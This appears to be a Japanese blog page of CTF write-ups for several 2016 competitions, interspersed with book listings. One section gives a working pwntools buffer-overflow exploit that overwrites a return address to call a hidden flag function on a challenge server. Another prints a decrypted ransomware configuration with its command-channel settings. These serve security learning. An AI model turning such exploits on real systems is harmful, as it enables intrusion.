CTF日本語サイト

I'm playing!

10

Check out our fancy IRC!

Hint, link to irc: http://webchat.freenode.net/?channels=#TUCTF

15:29 チャンネルに入りました
15:29 *xxxxxx join #TUCTF (~xxxxxx@yyy.zzz)
15:29 *topic : vm_decryption_key: DescendIntoDarkness     A wild string appeared: "TUCTF{Just_A_Test_" + Flag from logo (in caps) + "}"

TUCTF{Just_A_Test_FLAG}

はじめてのモールス通信: アナログとデジタルのハーモニー (アマチュア無線運用シリーズ) [単行本]

谷口 敦郎

CQ出版

2011-09-01

Duckprint

100

See if you can steal the admin's duck print and validate it!

When calculating the SHA, leave the periods in

http://130.211.242.26:31337

$ echo RHVja0R1Y2tHb29zZQ==.eyJ1c2VybmFtZSI6IkR1Y2tEdWNrR29vc2UiLCJhZG1pbiI6MX0=.ZDRya3cxbmc= | sha256sum
609707407e907abb347906ce024de604effee09cdcc613ca5cea023796d1733c

TUCTF{Quacky_McQuackerface}

基本がわかる安全設計のWebシステム [単行本]

倉持 浩明

日経BP社

2015-07-18

bby’s first elf

25

Try find the flag. Challenge is hosted at 146.148.95.248:2525

3d726802521a9ce2b24e2c3baf039915e48ad056

fileコマンドでファイルタイプを確認します。Linuxの32bitバイナリです。

$ file 3d726802521a9ce2b24e2c3baf039915e48ad056
3d726802521a9ce2b24e2c3baf039915e48ad056: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=3fb9014d549efe4ce761146b736590eb9f7e281d, not stripped

実行してみると、次のように入力を求められます。23文字までは問題なく、24文字入力するとバッファオーバーフローが起こるようです。

$ ./3d726802521a9ce2b24e2c3baf039915e48ad056
This program is hungry. You should feed it.
12345678901234567890123
Do you feel the flow?
$ ./3d726802521a9ce2b24e2c3baf039915e48ad056
This program is hungry. You should feed it.
123456789012345678901234
Do you feel the flow?
Segmentation fault (コアダンプ)

objdumpコマンドで逆アセンブルして動作を解析します。

$ objdump -s -D 3d726802521a9ce2b24e2c3baf039915e48ad056 > aaa.txt

アドレス0804856dにprintFlag関数がありますが、どこからも呼び出されていません。flag.txtをオープンしているので、この関数を呼び出すことができればフラグを取得することが出来そうです。

0804856d <printFlag>:
 804856d:    55                       push   %ebp
 804856e:    89 e5                    mov    %esp,%ebp
 8048570:    83 ec 58                 sub    $0x58,%esp
 8048573:    c7 44 24 04 a0 86 04     movl   $0x80486a0,0x4(%esp)      #r
 804857a:    08
 804857b:    c7 04 24 a2 86 04 08     movl   $0x80486a2,(%esp)            #flag.txt
 8048582:    e8 c9 fe ff ff           call   8048450 <fopen@plt>

mainのscanfにバッファオーバーフローがあるので、ここで24バイトの格納領域の後ろにある戻り先のアドレスを上書きします。

080485c9 <main>:
 80485c9:    55                       push   %ebp                                #esp-4
 80485ca:    89 e5                    mov    %esp,%ebp
 80485cc:    83 e4 f0                 and    $0xfffffff0,%esp               #espの下位4bitが0になる(-8)
 80485cf:    83 ec 20                 sub    $0x20,%esp                    #esp-32
 80485d2:    c7 04 24 ac 86 04 08     movl   $0x80486ac,(%esp)   #This program ...
 80485d9:    e8 42 fe ff ff           call   8048420 <puts@plt>
 80485de:    8d 44 24 14              lea    0x14(%esp),%eax        #eax=esp+20
 80485e2:    89 44 24 04              mov    %eax,0x4(%esp)        #入力データ格納先(-4-8-32+20=-24。24バイト分)
 80485e6:    c7 04 24 d8 86 04 08     movl   $0x80486d8,(%esp)  #%d
 80485ed:    e8 6e fe ff ff           call   8048460 <__isoc99_scanf@plt>
 80485f2:    c7 04 24 db 86 04 08     movl   $0x80486db,(%esp)   #Do you feel ...
 80485f9:    e8 22 fe ff ff           call   8048420 <puts@plt>
 80485fe:    b8 00 00 00 00           mov    $0x0,%eax
 8048603:    c9                       leave 
 8048604:    c3                       ret      #ここでの戻り先のアドレスを0804856d <printFlag>:にする

バッファオーバーフローを起こすプログラムをPythonで書きます。

#!/usr/bin/env python2
from pwn import *
import time
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'
if args.local:
    p = process('./3d726802521a9ce2b24e2c3baf039915e48ad056')
else:
    p = remote('146.148.95.248', 2525)

p.sendline(
    'A' * 24
    + p32(0x0804856d)        #0804856d <printFlag>
    )
time.sleep(0.1)
p.recvall()

実行すると、次のようになります。

$ python aaa.py
[+] Opening connection to 146.148.95.248 on port 2525: Done
[DEBUG] Sent 0x1d bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  6d 85 04 08  0a           │AAAA│AAAA│m???│?│
    0000001d
[+] Recieving all data: Done (102B)
[DEBUG] Received 0x66 bytes:
    'This program is hungry. You should feed it.\n'
    'Do you feel the flow?\n'
    'TUCTF{jumping_all_around_dem_elfs}\n'
    '\n'
[*] Closed connection to 146.148.95.248 port 2525

フラグは、

TUCTF{jumping_all_around_dem_elfs}

です。

stackoverflowの見方 [Kindle版]

中西伸吾

2014-12-03

Flag example

Average: 4.04

Rating Count: 24

You Rated: Not rated

Points

1

Solves

342

Category

Trivia

Description

Whats the flag example that describe flag style?

ASIS{_some_l33t_string_l1k3_7hi5_}

Kali Linux CTF Blueprints [Kindle版]

Cameron Buchanan

Packt Publishing

2014-07-24

firtog

Average: 2.96

Rating Count: 24

You Rated: Not rated

Points

109

Solves

45

Category

Forensic

Description

Obscurity is definitely not security.

0036git-upload-pack /asisPrivRepo.host=198.105.254.11.
00c9912ce07cc38a1e1887a5bd2e5215106e5b172b6f HEAD.multi_ack thin-pack side-band side-band-64k ofs-delta shallow no-progress include-tag multi_ack_detailed symref=HEAD:refs/heads/master agent=asisAgent
003f912ce07cc38a1e1887a5bd2e5215106e5b172b6f refs/heads/master
0000
0077want 912ce07cc38a1e1887a5bd2e5215106e5b172b6f multi_ack_detailed side-band-64k thin-pack ofs-delta agent=asisAgent
0032want 912ce07cc38a1e1887a5bd2e5215106e5b172b6f
0000
0009done
0008NAK
0020.Counting objects: 7, done.
004b.Compressing objects:  20% (1/5)   Compressing objects:  40% (2/5)  
006e.Compressing objects:  60% (3/5)   Compressing objects:  80% (4/5)   Compressing objects: 100% (5/5)  
002c.Compressing objects: 100% (5/5), done.
002b.Total 7 (delta 0), reused 0 (delta 0)
0271.PACK..........x...1n.!..{^.}...e...._Y`9#.p.6..{'Mzw..ft......ErlK(....B.>H.kM5X.....t....\s......bM    qK....1.....^...Y.....?^.l.g... 9.h."|X...q.7Uy[4..Tx....p<....<..P.Fn...]&k....K.O...x...;.0.D{.B}HX},)`B..^.....I...&}..)...Wf...9/.Gpqr...qY!...J.8..*|.W.:#.R.w=........6>X..D./..(*.!...C%.t.t....._...u.S}..\:...x..E...100755 flag.py..K..d..........w.xS.100644 readme..w..PL......].(..C.t.+./..x.SV./-..O.../.,....RV...-.IUH*-Q(NM.-JUH.ILWHO.K-J,./RH.b.`.`...7.........b...>..7x...TH.....    ..5..x.340031Q(JML.Me......Z.S...}....3.D...v....x...TH...*..,V.......D......T....t........."....|.+M........{%.'.x.........D.
0006..
0000

$ mkdir tmp
$ cd tmp
$ git init newrepo
Initialized empty Git repository in /(略)/tmp/newrepo/.git/
$ cd newrepo

$ file ../../pack0
../../pack0: Git pack, version 2, 7 objects
$ git unpack-objects < ../../pack0
Unpacking objects: 100% (7/7), done.

$ file ../../pack1
../../pack1: Git pack, version 2, 3 objects
$ git unpack-objects < ../../pack1
Unpacking objects: 100% (3/3), done.

$ file ../../pack2
../../pack2: Git pack, version 2, 4 objects
$ git unpack-objects < ../../pack2
Unpacking objects: 100% (4/4), done.

$ file ../../pack4
../../pack4: Git pack, version 2, 4 objects
$ git unpack-objects < ../../pack4
Unpacking objects: 100% (4/4), done.

$ file ../../pack5
../../pack5: Git pack, version 2, 4 objects
$ git unpack-objects < ../../pack5
Unpacking objects: 100% (4/4), done.

$ file ../../pack6
../../pack6: Git pack, version 2, 3 objects
$ git unpack-objects < ../../pack6
Unpacking objects: 100% (3/3), done.

$ file ../../pack7
../../pack7: Git pack, version 2, 4 objects
$ git unpack-objects < ../../pack7
Unpacking objects: 100% (4/4), done.

$ file ../../pack8
../../pack8: Git pack, version 2, 4 objects
$ git unpack-objects < ../../pack8
Unpacking objects: 100% (4/4), done.

$ git cat-file -p 922faaf7d9a6f74eb661acc62b93b968ec3f781f
tree 628cc247df3210b18bd8c7a07e4d226bda163514
parent f87038d3963f54b9c0e71d14ee6dbab113e42a81
author factoreal <factoreal@asis.io> 1462028513 +0430
committer factoreal <factoreal@asis.io> 1462028513 +0430

a new encrypted flag :P:P

$ git cat-file -p 628cc247df3210b18bd8c7a07e4d226bda163514
100644 blob 0f0d373a6eee2c165e9d69d001f3db0bb34fde7c    flag.py
100644 blob 91d8fd06d858898001c781d9034ce189e0d55ed0    flag.txt
100644 blob 1077a52e504c1ecb8f8dcb105dbe28c51d43a774    readme

$ git cat-file -p 0f0d373a6eee2c165e9d69d001f3db0bb34fde7c
#!/usr/bin/python
# Simple but secure flag generator for ASIS CTF Quals 2016

from os import urandom
from hashlib import sha1

l = 128
rd = urandom(l)
h = sha1(rd).hexdigest()
flag = 'ASIS{' + h + '}'
print flag
f = open('flag.txt', 'w')
flag_enc = ''
for c in flag:
    flag_enc += hex(pow(ord(c), 65537, 143))[2:]
f.write(flag_enc)
f.close()

$ git cat-file -p 91d8fd06d858898001c781d9034ce189e0d55ed0
41608a606a63201245f1020d205f1612147463d85d125c1416635c854c74d172010105c14f8555d125c3c

import string
for c in string.hexdigits:
    print c
    print hex(pow(ord(c), 65537, 143))[2:]

$ python test.py
0    10
1    45
2    55
3    74
4    d
5    5c
6    20
7    16
8    17
9    12
a    f
b    4c
c    63
d    85
e    5f
f    14
A    41
B    42
C    2d
D    8b
E    4b
F    5

ASIS{c691a0646e79f3c4d495f7c5db3486005fad2495}

Gitが、おもしろいほどわかる基本の使い方33〈バージョン管理、SourceTree、Bitbucket〉 [単行本]

大串 肇

エムディエヌコーポレーション

2015-05-26

Logic2
Logic

25 points

Hint : No hint yet (Aucune indication)
url : https://41.231.22.176:1235/2/

• 左上の四角形・・・6+4+4=14。14番目のアルファベットはN。
• 右上の四角形・・・4+1+7=12。12番目のアルファベットはL。
• 左下の四角形・・・5+6+10=21。21番目のアルファベットはU。
• 右下の四角形・・・1+14+2=17。17番目のアルファベットはQ。

q

Logic1
Logic

25 points

Hint : No hint yet (Aucune indication)
url : https://41.231.22.176:1235/1/

720

Trololo

Description

A computer belonging to a new company has been infected by a malware. This is a known version of a cryptolocker software, that uses a irc server to received commands. Let's try to grab its password...

The challenge is available at : http://static.quals.nuitduhack.com/trololo.pcap

---

Details

Points

100

Category

Inforensic

Validations

74

---

Attachments

This challenge has no attachment.

ダウンロードしたファイルはパケットキャプチャしたファイルです。Wiresharkで開いて、「File」→「Export Objects」→「HTTP」を選択します。config.encファイルを選択して保存します。

 ADDRESS   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F   0123456789ABCDEF
------------------------------------------------------------------------------
 00000000  C3 C0 87 92 93 DF 89 9A 8D 8C 96 90 91 C2 DD CE   ﾃﾀ��那凹轟鱒堕ﾝﾎ
 00000010  D1 CF DD DF 9A 91 9C 90 9B 96 91 98 C2 DD 8A 8B   ﾑﾏﾝﾟ囁恊尠遭ﾂﾝ葛
 00000020  99 D2 C7 DD DF C0 C1 F5 C3 9C 90 91 99 96 98 8A   參ﾇﾝﾟﾀﾁ恊鎗迄轄
(略)

w = open("aaa.txt", "wb")
f = open("config.enc", "rb")
f.each_byte do |c|
    w.write([c ^ 0xff].pack('C'))
end
f.close
w.close

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
        <mailSettings>
            <smtp from="crypto@ndh2k16.com">
                <network host="hermes.ndh2k16.local" port="25"/>
            </smtp>
        </mailSettings>
        <NDHCrypto.Settings>
            <setting name="EXT_TO_ENCRYPT" serializeAs="String">
                <value>docx:doc:xls:xlsx:pdf:jpg:odt:ods:png:bmp:avi:mp4</value>
            </setting>
            <setting name="KEY" serializeAs="String">
                <value>AD784DA62D1DDBB19B7F0500A52DD15C0BD70F924A5EF7C3CEA134C428747AFB</value>
            </setting>
            <setting name="SUBJECT" serializeAs="String">
                <value>New infected</value>
            </setting>
            <setting name="IRC_SRV" serializeAs="String">
                <value>irc://irc.ndh2k16.com:6667</value>
            </setting>
            <setting name="IRC_CHAN" serializeAs="String">
                <valude>#Crypt0NDH2K16</value>
            </setting>
            <setting name="IRC_CHANPASS" serializeAs="String">
                <value>orudeujieh6oonge4She</value>
            </setting>
        </NDHCrypto.Settings>
</configuration>

したがって、フラグは、

orudeujieh6oonge4She

です。

【Amazon.co.jp限定】 ルビィのぼうけん こんにちは! プログラミング ◆ルビィの特製シール1枚付き◆ [大型本]

リンダ・リウカス

翔泳社

2016-05-20

When in Rome10 points  Solved 299 times  Cryptography  Zachary Taylor

• Description
• Hint

I heard of a cipher named after Julius Caesar, and I want you to try it out! Try decoding this message:

Nvctfdv kf jTKW! Nv yfgv pfl veafp kyv gifscvdj nv yrmv nizkkve wfi kyv wzijk hlrikvi fw 2016. Yviv zj pfli wzijk fw (yfgvwlccp) drep wcrxj! jtkw{ny3e_1e_tkw_u0_r5_tkw3i5_u0}

「sctf{」をアルファベットで17文字分ずらすと「jtkw{」になります。したがって、上のメッセージのアルファベットのみを17文字分戻してみます。

welcome to sctf! we hope you enjoy the problems we have written for the first quarter of 2016. here is your first of (hopefully) many flags! sctf{wh3n_1n_ctf_d0_a5_ctf3r5_d0}

フラグは、

sctf{wh3n_1n_ctf_d0_a5_ctf3r5_d0}

です。

暗号技術のはなし―シーザー暗号から公開鍵暗号まで [単行本]

H.X. メル

ピアソンエデュケーション

2002-12

Verticode90 points  Solved 126 times  Cryptography  Arun Dunna

• Description
• Files
• Hint

Welcome to Verticode, the new method of translating text into vertical codes.

Each verticode has two parts: the color shift and the code.

The code takes the inputted character and translates it into an ASCII code, and then into binary, then puts that into an image in which each black pixel represents a 1 and each white pixel represents a 0.

For example, A is 65 which is 1000001 in binary, B is 66 which is 1000010, and C is 67 which is 1000011, so the corresponding verticode would look like this.

Except, it isn't that simple.

A color shift is also integrated, which means that the color before each verticode shifts the ASCII code, by adding the number that the color corresponds to, before translating it into binary. In that case, the previous verticode could also look like this.

The table for the color codes is:

0 = Red
1 = Purple
2 = Blue
3 = Green
4 = Yellow
5 = Orange

This means that a red color shift for the letter A, which is 65 + 0 = 65, would translate into 1000001 in binary; however, a green color shift for the letter A, which is 65 + 3 = 68, would translate into 1000100 in binary.

Given this verticode, read the verticode into text and find the flag.

Note that the flag will not be in the typical sctf{flag} format, but will be painfully obvious text. Once you find this text, you will submit it in the sctf{text} format. So, if the text you find is adunnaisawesome, you will submit it as sctf{adunnaisawesome}.

問題文に書かれていることを整理します。まず、黒がビット1、白がビット0を表します。したがって、下の画像は1000001=0x41=A、1000010=0x42=B、1000011=0x43=C、となり、ABCを表します。

次の画像は、元の値(文字コード)に、左側の色ごとに決められた数値を加算して、白黒のビット化をしています。紫は+1加算、赤は0加算(そのまま)です。したがって、ABCがそれぞれ紫赤紫により、紫A=1000001+1=1000010、赤B=1000010+0=1000010、紫C＝1000011+1=1000100になります。

それでは、問題文の内容をRubyプログラムで書いてみます。

require "RMagick"
include Magick

def get_rgb_arry(file)
  img = ImageList.new(file)
  str = ""
  for y in 0...img.rows/12
    ch = 0
    color = img.pixel_color(0, y * 12)         #色を取得
    if color.red == 65535 and color.green == 0 and color.blue == 0 then
      add = 0   #赤
    elsif color.red == 32896 and color.green == 0 and color.blue == 32896 then
      add = 1   #紫
    elsif color.red == 0 and color.green == 0 and color.blue == 65535 then
      add = 2   #青
    elsif color.red == 0 and color.green == 32896 and color.blue == 0 then
      add = 3   #緑
    elsif color.red == 65535 and color.green == 65535 and color.blue == 0 then
      add = 4   #黄
    elsif color.red == 65535 and color.green == 42405 and color.blue == 0 then
      add = 5   #橙
    else
      p color.red
      p color.green
      p color.blue
    end
    for x in 0..6
      src = img.pixel_color(7 * 12 + x * 12, y * 12)      #文字を取得
      ch = ch << 1
      if src.red == 0 then
        ch += 1
      end
    end
    str = str + (ch - add).chr
  end
  return str
end

pic1 = "code1.png"
print get_rgb_arry(pic1)

これを実行すると、下記の文字列を得ることができます。

JoeLopowasamanofmildtemperamentshortstatureandhadthegoaltobecometheworldsfastesttelephoneeaterThoughLoponeverknewevenbasicphysicshecreatedatelescopecapableofsightingthesmallesthaironanalienwholivedquiteafewlightyearsawayJoeLopoquicklydestroyedalargeboulderandusedtheshatteredremainstoformeightsmallstatuesthatstronglyresembledtinycreaturesbeingorrelatedtothewaterfleaHeplacedtheminacircularpatterntoformasortofshrineandplacedthetelescopeinthemiddleofitHethenchanneledthepowerofthestonewaterfleasintothetelescopetoviewthepoweroftheheavensHewasinatrancewiththebeautyofthemysteriousdimensionanddidntevennoticetheverylargetornadoheadingtowardhimTheshrinewasquicklydemolishedandtheimmediatewithdrawlofpowersentJoeLobointoalairofpitchblacknessfoundtobeaparalleldimensionthatcausABCiamtheflagalllowercasenojokeDEFanyonewhosefirstnamebeganwithJalongwithMLandQtobecomeratheruncomfortableJoewasalsosuddenlyintroducedtoundroclamaticolomphasisciousytheeccentrictapewormwithastrongmorrocanaccentImundroclamaticolomphasisciousytheeccentrictapewormIlikepizzasohowareyadoinIhavenoideasaidJoe

flagで検索するとABC～DEFで囲まれた部分がヒットします。これをフラグの形式にしてsubmitすると正解でした。
よって、フラグは、

sctf{iamtheflagalllowercasenojoke}

です。

プログラマのための文字コード技術入門 (WEB+DB PRESS plus) (WEB+DB PRESS plusシリーズ) [単行本（ソフトカバー）]

矢野 啓介

技術評論社

2010-02-18